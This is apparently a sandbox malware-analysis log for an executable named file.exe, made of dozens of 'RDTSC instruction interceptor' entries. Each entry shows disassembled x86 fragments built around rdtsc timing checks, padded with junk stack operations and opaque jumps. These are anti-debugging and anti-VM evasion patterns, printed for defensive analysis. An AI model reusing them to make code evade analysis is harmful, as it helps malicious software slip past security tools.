Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105BE8F second address: 1038865 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F72FCCFD2F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov cx, AC80h 0x0000000f lea eax, dword ptr [ebp+1248DB95h] 0x00000015 or edx, 03092200h 0x0000001b nop 0x0000001c pushad 0x0000001d jmp 00007F72FCCFD307h 0x00000022 ja 00007F72FCCFD2FCh 0x00000028 popad 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F72FCCFD305h 0x00000030 pop edx 0x00000031 nop 0x00000032 mov cx, 3622h 0x00000036 call dword ptr [ebp+122D31B6h] 0x0000003c pushad 0x0000003d pushad 0x0000003e push eax 0x0000003f pop eax 0x00000040 push edx 0x00000041 pop edx 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105C0A9 second address: 105C0AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105C0AD second address: 105C0B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105C0B3 second address: 105C0B8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105C0B8 second address: 105C0D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F72FCCFD306h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105C4F0 second address: 105C529 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72FCF3DBD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b js 00007F72FCF3DBCCh 0x00000011 jp 00007F72FCF3DBC6h 0x00000017 jnc 00007F72FCF3DBC8h 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f popad 0x00000020 mov eax, dword ptr [esp+04h] 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 jno 00007F72FCF3DBC6h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105C529 second address: 105C533 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105C533 second address: 105C562 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a jns 00007F72FCF3DBC8h 0x00000010 jmp 00007F72FCF3DBCEh 0x00000015 popad 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a pushad 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e pushad 0x0000001f popad 0x00000020 popad 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105C562 second address: 105C59D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 pop eax 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007F72FCCFD2F8h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 0000001Ch 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 push 5BD6FE77h 0x00000028 push ecx 0x00000029 push eax 0x0000002a push edx 0x0000002b jng 00007F72FCCFD2F6h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105C9FB second address: 105CA02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105CD09 second address: 105CD14 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F72FCCFD2F6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105CD14 second address: 105CD71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F72FCC0D451h 0x0000000d nop 0x0000000e cmc 0x0000000f push 0000001Eh 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007F72FCC0D448h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b add cx, E6DCh 0x00000030 mov edx, dword ptr [ebp+122D3A4Ah] 0x00000036 or dword ptr [ebp+122D1C0Dh], edx 0x0000003c nop 0x0000003d pushad 0x0000003e jne 00007F72FCC0D448h 0x00000044 push ebx 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105D144 second address: 105D148 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105D148 second address: 105D14E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105D14E second address: 105D1DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72FCF2ACD2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007F72FCF2ACC8h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 00000016h 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 xor dword ptr [ebp+122D2F54h], esi 0x0000002a sub dword ptr [ebp+122D2F17h], eax 0x00000030 lea eax, dword ptr [ebp+1248DB95h] 0x00000036 push 00000000h 0x00000038 push eax 0x00000039 call 00007F72FCF2ACC8h 0x0000003e pop eax 0x0000003f mov dword ptr [esp+04h], eax 0x00000043 add dword ptr [esp+04h], 0000001Ch 0x0000004b inc eax 0x0000004c push eax 0x0000004d ret 0x0000004e pop eax 0x0000004f ret 0x00000050 mov ecx, 1B179946h 0x00000055 jmp 00007F72FCF2ACD7h 0x0000005a push eax 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e push edx 0x0000005f push edi 0x00000060 pop edi 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105D1DC second address: 105D1E6 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F72FCC0D446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10850D3 second address: 10850EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F72FCF2ACD1h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108526C second address: 1085275 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1085275 second address: 108527B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108527B second address: 1085281 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1085281 second address: 1085285 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1085285 second address: 108528B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108528B second address: 1085295 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1085515 second address: 108551E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108E47C second address: 108E482 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108E482 second address: 108E486 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108E486 second address: 108E4A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F72FCF2ACD9h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108E4A9 second address: 108E4AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108E4AD second address: 108E4B7 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F72FCF2ACC6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108D657 second address: 108D65B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108D65B second address: 108D665 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F72FCF2ACC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108D665 second address: 108D66E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108D66E second address: 108D693 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F72FCF2ACD9h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108D693 second address: 108D699 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108D699 second address: 108D6BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F72FCF2ACDBh 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108D862 second address: 108D86A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108D9F0 second address: 108D9F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108D9F4 second address: 108D9FE instructions: 0x00000000 rdtsc 0x00000002 jg 00007F72FCC0D446h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108D9FE second address: 108DA0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jo 00007F72FCF2ACC6h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108DB66 second address: 108DB74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F72FCC0D446h 0x0000000a popad 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108DB74 second address: 108DB92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop ebx 0x00000007 pop ebx 0x00000008 pushad 0x00000009 pushad 0x0000000a jmp 00007F72FCF2ACCCh 0x0000000f jbe 00007F72FCF2ACC6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108DD2D second address: 108DD53 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F72FCC0D458h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jg 00007F72FCC0D452h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108DD53 second address: 108DD60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F72FCF2ACC6h 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108DD60 second address: 108DD84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007F72FCC0D45Ch 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108DD84 second address: 108DD95 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jnc 00007F72FCF2ACC6h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108DEC5 second address: 108DEC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108DEC9 second address: 108DEF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F72FCF2ACD2h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F72FCF2ACCFh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108E328 second address: 108E332 instructions: 0x00000000 rdtsc 0x00000002 js 00007F72FCC0D44Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108E332 second address: 108E33E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F72FCF2ACCCh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108CA1C second address: 108CA35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F72FCC0D455h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108CA35 second address: 108CA39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108CA39 second address: 108CA3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108CA3F second address: 108CA4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F72FCF2ACCAh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108CA4F second address: 108CA5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108CA5E second address: 108CA62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108CA62 second address: 108CA7B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F72FCC0D446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F72FCC0D44Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108CA7B second address: 108CA8C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b pop esi 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1092BF2 second address: 1092BF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10932E1 second address: 10932F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F72FCF2ACD0h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10932F6 second address: 10932FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10932FB second address: 109331A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F72FCF2ACD1h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10938E7 second address: 10938F9 instructions: 0x00000000 rdtsc 0x00000002 je 00007F72FCC0D44Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10981A0 second address: 10981A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10194EC second address: 10194FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jno 00007F72FCC0D446h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10194FB second address: 101950B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F72FCF2ACCAh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109AD3B second address: 109AD55 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnp 00007F72FCC0D446h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c js 00007F72FCC0D44Eh 0x00000012 push eax 0x00000013 pop eax 0x00000014 jns 00007F72FCC0D446h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109CF08 second address: 109CF0E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1006B29 second address: 1006B3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F72FCC0D44Dh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1006B3C second address: 1006B64 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72FCF2ACCFh 0x00000007 jmp 00007F72FCF2ACD5h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A0F1E second address: 10A0F22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A0F22 second address: 10A0F31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jp 00007F72FCF2ACC6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A0F31 second address: 10A0F37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A108C second address: 10A10BF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F72FCF2ACDCh 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jns 00007F72FCF2ACCEh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A1575 second address: 10A1579 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A1579 second address: 10A1596 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F72FCF2ACC6h 0x00000008 jns 00007F72FCF2ACC6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ebx 0x00000011 jmp 00007F72FCF2ACCBh 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A1596 second address: 10A15AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F72FCC0D453h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A15AD second address: 10A15B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A5E3E second address: 10A5E46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A5FA3 second address: 10A5FC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F72FCF2ACD8h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A5FC0 second address: 10A5FC5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A5FC5 second address: 10A5FD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A63F4 second address: 10A640C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F72FCC0D454h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105CB74 second address: 105CB85 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F72FCF2ACC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AA8BF second address: 10AA8CF instructions: 0x00000000 rdtsc 0x00000002 jg 00007F72FCC0D448h 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AA8CF second address: 10AA8D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B1EC6 second address: 10B1EE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ecx 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F72FCC0D456h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AFEA8 second address: 10AFEAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AFEAC second address: 10AFEDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F72FCC0D44Ch 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e jne 00007F72FCC0D446h 0x00000014 jmp 00007F72FCC0D44Bh 0x00000019 popad 0x0000001a push edi 0x0000001b push eax 0x0000001c pop eax 0x0000001d pushad 0x0000001e popad 0x0000001f pop edi 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B003D second address: 10B0049 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
